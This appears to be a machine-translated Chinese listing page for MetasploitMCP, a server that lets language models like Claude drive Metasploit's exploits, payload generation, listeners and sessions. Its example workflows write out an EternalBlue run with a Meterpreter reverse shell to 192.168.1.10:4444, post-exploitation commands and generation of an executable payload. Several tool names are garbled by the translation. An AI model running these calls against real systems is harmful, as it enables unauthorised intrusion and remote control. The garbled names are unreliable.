Metasploit集成服务器

Metasploit MCP服务器为大型语言模型与Metasploit Framework渗透测试平台之间提供桥梁,通过标准化工具实现自然语言接口控制复杂安全测试工作流。

  • by GH05TCREW
  • Python
  • 本地部署
  • 751 星标
  • 更新于
在 GitHub 查看 GH05TCREW/MetasploitMCP

使用说明

Metasploit MCP服务器

用于Metasploit Framework集成的模型上下文协议(MCP)服务器。

https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

描述

此MCP服务器在大型语言模型(如Claude)和Metasploit Framework渗透测试平台之间提供了一座桥梁。它允许AI助手通过标准化工具动态访问和控制Metasploit功能,为复杂的安全测试工作流程提供自然语言界面。

特性

模块信息

  • 列表_开发:搜索并列出可用的Metasploit漏洞利用模块
  • list_payloads:使用可选平台和架构过滤搜索并列出可用的Metasploit有效载荷模块

开发工作流程

  • run_exploit:使用先运行检查的选项配置并执行针对目标的漏洞利用
  • run_auxiliay_模块:使用自定义选项运行任何Metasploit辅助模块
  • run_post_module:对现有会话执行漏洞利用后模块

有效载荷生成

  • 发电机有效载荷:使用Metasploit RPC生成有效载荷文件(在本地保存文件)

会话管理

  • list_active_sessions:显示包含详细信息的当前Metasploit会话
  • send_session_command:在活动shell或Meterpreter会话中运行命令
  • 终止会话:强行结束活动会话

处理程序管理

  • list_listeners:显示所有活动处理程序和后台作业
  • start_listener:创建新的多维/处理程序以接收连接
  • stop_job:终止任何正在运行的作业或处理程序

先决条件

  • Metasploit框架已安装,msfrpcd正在运行
  • Python 3.10或更高版本
  • 必需的Python包(见requirements.txt)

安装

  1. 克隆此存储库
  2. 安装依赖项:
    pip install -r requirements.txt
    
  3. 配置环境变量(可选):
    MSF_PASSWORD=yourpassword
    MSF_SERVER=127.0.0.1
    MSF_PORT=55553
    MSF_SSL=false
    PAYLOAD_SAVE_DIR=/path/to/save/payloads  # Optional: Where to save generated payloads
    

用法

启动Metasploit RPC服务:

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

运输选项

服务器支持两种传输方式:

  • HTTP/SSE(服务器发送事件):与大多数MCP客户端互操作的默认模式
  • STDIO(标准输入/输出):与Claude Desktop和类似的直接管道连接一起使用

您可以使用以下命令明确选择运输模式 --transport 标志:

# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http

# Run with STDIO transport
python MetasploitMCP.py --transport stdio

HTTP模式的其他选项:

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Claude桌面集成

对于Claude Desktop集成,请配置 claude_desktop_config.json:

{
    "mcpServers": {
        "metasploit": {
            "command": "uv",
            "args": [
                "--directory",
                "C:\\path\\to\\MetasploitMCP",
                "run",
                "MetasploitMCP.py",
                "--transport",
                "stdio"
            ],
            "env": {
                "MSF_PASSWORD": "yourpassword"
            }
        }
    }
}

其他MCP客户端

对于使用HTTP/SSE的其他MCP客户端:

  1. 以HTTP模式启动服务器:

    python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
    
  2. 配置您的MCP客户端以连接到:

    • SSE端点: http://your-server-ip:8085/sse

安全考虑

⚠️ 重要安全警告:

此工具提供对Metasploit Framework功能的直接访问,其中包括强大的利用功能。负责任地使用,并且仅在您有明确权限执行安全测试的环境中使用。

  • 执行前始终验证和检查所有命令
  • 仅在隔离的测试环境中运行或具有适当的授权
  • 请注意,漏洞利用后的命令可能会导致重大的系统修改

示例工作流

基础开发

  1. 列出可用漏洞: list_exploits("ms17_010")
  2. 选择并运行漏洞利用程序: run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
  3. 列出会话: list_active_sessions()
  4. 运行命令: send_session_command(1, "whoami")

实施漏洞利用

  1. 运行post模块: run_post_module("windows/gather/enum_logged_on_users", 1)
  2. 发送自定义命令: send_session_command(1, "sysinfo")
  3. 完成后终止: terminate_session(1)

处理程序管理

  1. 启动一个监听器: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
  2. 列出活动处理程序: list_listeners()
  3. 生成有效载荷: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
  4. 停止处理程序: stop_job(1)

测试

该项目包括全面的单元和集成测试,以确保可靠性和可维护性。

测试的先决条件

安装测试依赖项:

pip install -r requirements-test.txt

或者使用方便的安装程序:

python run_tests.py --install-deps
# OR
make install-deps

运行测试

快速命令

# Run all tests
python run_tests.py --all
# OR
make test

# Run with coverage report
python run_tests.py --all --coverage
# OR
make coverage

# Run with HTML coverage report
python run_tests.py --all --coverage --html
# OR
make coverage-html

特定测试套件

# Unit tests only
python run_tests.py --unit
# OR
make test-unit

# Integration tests only  
python run_tests.py --integration
# OR
make test-integration

# Options parsing tests
python run_tests.py --options
# OR
make test-options

# Helper function tests
python run_tests.py --helpers
# OR
make test-helpers

# MCP tools tests
python run_tests.py --tools
# OR
make test-tools

测试选项

# Include slow tests
python run_tests.py --all --slow

# Include network tests (requires actual network)
python run_tests.py --all --network

# Verbose output
python run_tests.py --all --verbose

# Quick test (no coverage, fail fast)
make quick-test

# Debug mode (detailed failure info)
make test-debug

测试结构

  • tests/test_options_parsing.py:优雅选项解析功能的单元测试
  • tests/test_helpers.py:内部助手功能和MSF客户端管理的单元测试
  • tests/test_tools_integration.py:所有MCP工具与模拟Metasploit后端的集成测试
  • conftest.py:共享测试夹具和配置
  • pytest.ini:带覆盖率设置的Pytest配置

测试特性

  • 综合模拟:所有Metasploit依赖项都被模拟,因此测试运行时不需要实际安装MSF
  • 异步支持:使用pytest-asyncio完全支持异步/等待测试
  • 覆盖范围报告:使用HTML报告进行详细的覆盖率分析
  • 参数化测试:高效测试多种输入场景
  • 夹具管理:用于常见设置场景的可重复使用测试夹具

覆盖范围报告

在运行覆盖率测试后,报告可在以下位置获得:

  • 终端:测试运行后显示的覆盖率摘要
  • 超文本标记语言: htmlcov/index.html (使用时 --html 选项)

CI/CD集成

对于持续集成:

# CI-friendly test command
make ci-test
# OR
python run_tests.py --all --coverage --verbose

配置选项

有效载荷保存目录

默认情况下,使用生成的有效载荷 generate_payload 保存到a payloads 主文件夹中的目录(~/payloads 或 C:\Users\YourUsername\payloads).您可以通过设置来自定义此位置 PAYLOAD_SAVE_DIR 环境变量。

设置环境变量:

  • Windows(PowerShell):

    $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
    
  • Windows(命令提示符):

    set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
    
  • Linux/macOS:

    export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
    
  • 在Claude桌面配置中:

    "env": {
        "MSF_PASSWORD": "yourpassword",
        "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads"  // Only add if you want to override the default
    }
    

注: 如果您指定了自定义路径,请确保它存在或应用程序有权创建它。如果路径无效,则有效负载生成可能会失败。

许可证

Apache 2.0